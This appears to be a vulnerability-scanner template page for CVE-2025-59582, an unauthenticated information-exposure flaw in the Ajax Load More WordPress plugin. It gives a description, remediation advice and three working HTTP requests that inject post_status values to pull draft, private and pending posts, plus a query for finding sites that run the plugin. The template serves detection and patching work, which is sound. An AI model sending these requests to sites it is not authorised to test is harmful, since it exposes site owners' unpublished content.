Ajax Load More < 7.6.1 - Unauthenticated Sensitive Information Exposure
CVE-2025-59582
Verified
Description
The Ajax Load More – Infinite Scroll plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.6.0.2. The plugin's AJAX endpoint (wp_ajax_nopriv_alm_get_posts) allows unauthenticated users to access non-public posts (draft, private, pending, future, trash) by injecting post_status via the custom_args parameter, which bypasses the post_status authorization check in class-alm-queryargs.php.
Severity
Medium
Published Date
April 23, 2026
Template Author
pussycat0x
CVE-2025-59582.yaml
id: CVE-2025-59582
info:
name: Ajax Load More < 7.6.1 - Unauthenticated Sensitive Information Exposure
author: pussycat0x
severity: medium
description: |
The Ajax Load More – Infinite Scroll plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.6.0.2. The plugin's AJAX endpoint (wp_ajax_nopriv_alm_get_posts) allows unauthenticated users to access non-public posts (draft, private, pending, future, trash) by
injecting post_status via the custom_args parameter, which bypasses the post_status authorization check in class-alm-queryargs.php.
impact:
Attackers can retrieve sensitive embedded system information, potentially aiding further attacks or data leaks.
remediation:
Update to the latest version beyond 7.6.0.2
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ajax-load-more/ajax-load-more-7602-unauthenticated-sensitive-information-exposure
metadata:
verified: true
max-request: 3
publicwww-query: "/wp-content/plugins/ajax-load-more/"
tags: cve,cve2025,wordpress,wp-plugin,ajax-load-more,unauth
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=alm_get_posts&post_type=post&posts_per_page=5&custom_args=post_status:draft HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
- |
GET /wp-admin/admin-ajax.php?action=alm_get_posts&post_type=post&posts_per_page=5&custom_args=post_status:private HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
- |
GET /wp-admin/admin-ajax.php?action=alm_get_posts&post_type=post&posts_per_page=5&custom_args=post_status:pending HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"html\":") && contains(body_1, "\"totalposts\":")'
condition: and
extractors:
- type: regex
name: totalpost
part: body
internal: true
group: 1
regex:
- '"totalposts":([0-9]+)'
# digest: 490a0046304402204aa476f3eb6f48527676ec3bc7e4f2b5c472e611fc8b9d5f8491e1d1ac527aa402204b9666554e2fc5cca10d1bf98e569bedfcb057a7b6f51db4edc4370f060f2648:922c64590222798bb761d5b6d8e72950Remediation Steps
Update to the latest version beyond 7.6.0.2